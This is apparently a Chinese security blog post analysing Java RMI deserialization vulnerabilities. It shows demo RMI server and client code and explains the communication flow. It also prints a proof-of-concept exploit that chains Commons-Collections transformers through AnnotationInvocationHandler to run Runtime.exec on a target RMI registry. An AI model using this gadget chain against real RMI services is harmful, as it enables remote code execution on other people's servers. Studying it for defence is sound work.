Yoga7xm's Blog

RMI 反序列化漏洞简析

字数统计: 1.7k阅读时长: 7 min
2019/09/02 Share

前言

这里利用RMI通信结合了上一次的Commons-Collections利用过程

Java RMI

Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

客户端的代理对象为存根,存根位于客户端机器上,它知道如何通过网络与服务器联系。存根会将远程方法所需的参数打包成一组字节。对参数编码的过程被称为参数编组,参数编组的目的是将参数转换成适合在虚拟机之间进行传递的形式。在RMI协议中,对象时使用序列化机制进行编码的,也就说RMI100%基于反序列化和序列化,大致流程如下

主要涉及的部分:

  • RMI Registry:提供Remote Object注册,Name->Remote Object的绑定和查询,属于特殊的Remote Object
  • RMI Server:创建Remote Object,并且将其注册到RMI 注册表中
  • RMI Client:通过Name向Registry获取stub,然后调用其方法

通常Server和Registry运行在同一主机的不同端口

  • Registry默认监听1099端口
  • RMI URL:rmi://host:port/remoteObjectName

Demo

定义一个Remote Object接口和类

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
String sayHello() throws RemoteException;
}

需要实现Remote接口并抛出RemoteException异常

Server端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Server implements Hello {
public String sayHello() {
return "Hello Word!";
}
public static void main(String args[]) {
try {
Server obj = new Server();
LocateRegistry.createRegistry(1099);
//返回结果为Remote Object Stub,包含了Server的host、port信息
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 6600);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Hello", stub);
System.out.println("Server Start");
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里为了节省空间Server实现了Hello接口,并且在main函数中创建了这个Remote Object。然后创建并启动了一个Registry,设定的端口为1099。接着又创建并启动了Server端,端口为6600,最后将代理对象注册到Registry并与Hello绑定了,等待Client请求

Client端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
private Client(){}
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("localhost",1099);
Hello stub = (Hello) registry.lookup("Hello");
String response = stub.sayHello();
System.out.println(response);
}catch (Exception e){
e.printStackTrace();
}
}
}

Client这里先是获取了Registry,然后调用了lookup传入name的值获取stub,最后调用sayHello的方法,这里具体情况是这样的:

  1. Client端通过stub中包含的host、port信息,与Remote Object所在的Server端建立连接,然后序列化调用数据
  2. Server端接收调用请求,将调用转发给Remote Object,然后反序列化请求执行方法,返回序列化的结果给Client
  3. Client端接收并反序列化结果

通信过程

与Register通信

最后的时候(ReturnData包),Register给Client返回了Server的host和port

与Server通信

在远程方法调用的过程中,所有的参数都要先进行序列化,从Client发送到Server,然后再Server端进行反序列化,这里假如Server端用了存在漏洞的第三方组件–Commons-Collenctions,就可能存在反序列化漏洞

反序列化 Based RMI

必要条件

  1. 能够进行RMI通信
  2. 目标服务器引用了第三方存在反序列化漏洞的jar包

POC

这里我们依旧使用JDK7 + Commons Collections进行分析

【注】:JDK8 121开始加入了白名单限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class POC {

public static void main(String[] args) throws Exception {

String ip = "127.0.0.1";
int port = 1099;
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","value");
Map outmap = TransformedMap.decorate(innerMap,null,transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true);
Object instance = ctor.newInstance(java.lang.annotation.Retention.class, outmap );

InvocationHandler hl = (InvocationHandler) instance;
Object proxy = Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},hl);
Remote remote = Remote.class.cast(proxy);
Registry registry = LocateRegistry.getRegistry(ip, port);
registry.bind("poc", r);
}
}

断点分析

前面的一段还比较好说,因为就是之前分析的那条chains直接拿来用了,但是后面有两处疑问

InvocationHandler是个什么?

在JAVA的动态代理中,有两个重要的类和接口,一个是 InvocationHandler(Interface)、另一个则是 Proxy(Class),这一个类和接口是实现我们动态代理所必须用到的

public interface InvocationHandler()

InvocationHandler是由代理实例的调用处理程序实现的接口 。
每个代理实例都有一个关联的调用处理程序。 当在代理实例上调用方法时,方法调用将被编码并分派到其调用处理程序的invoke方法。

也就是说,每一个动态代理类都得实现这个接口,并且每个代理类的实例都关联到了一个handler,当我们通过代理对象去调用一个方法时,这个方法的调用就会转发为由InvocationHandler这个接口的invoke方法来进行调用

来看类sun.reflect.annotation.AnnotationInvocationHandler的声明

可以发现这个类实现了InvocationHandler接口,于是POC中能够强制转换成handler对象。执行bind操作需要对象类型为Remote,创建了一个代理类并且绑定handler对象,然后转成Remote类型对象,再进行bind操作

由于反序列化是反向递归的,RMI Server收到数据后进行反序列化的时候也会去调AnnotationInvocationHandler.readObject()方法,继而setValue()触发Chains弹出计算器

为啥RMI Client也能进行bind操作?

bind()处断点,Debug一下,跟进来可以看到Client处的bind操作

可以看出来,Client端getRegistry得到的是一个RegistryImpl_Stub对象

var3返回的是一个RemoteCall类型的对象,getOutputStream之后返回ObjectOutput类型对象,然后进行序列化操作,最后得到一个ConnectionOutputStream进行远程通信

Reference

https://xz.aliyun.com/t/2223

https://wooyun.js.org/drops/java%20RMI%E7%9B%B8%E5%85%B3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%95%B4%E5%90%88%E5%88%86%E6%9E%90.html

https://www.k0rz3n.com/2019/04/20/JAVA%20%E6%B3%9B%E5%9E%8B%E3%80%81%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E6%8A%80%E6%9C%AF%E8%A6%81%E7%82%B9%E6%A2%B3%E7%90%86/

CATALOG
  1. 1. 前言
  2. 2. Java RMI
    1. 2.1. Demo
    2. 2.2. 通信过程
  3. 3. 反序列化 Based RMI
    1. 3.1. 必要条件
    2. 3.2. POC
    3. 3.3. 断点分析
      1. 3.3.1. InvocationHandler是个什么?
      2. 3.3.2. 为啥RMI Client也能进行bind操作?
  4. 4. Reference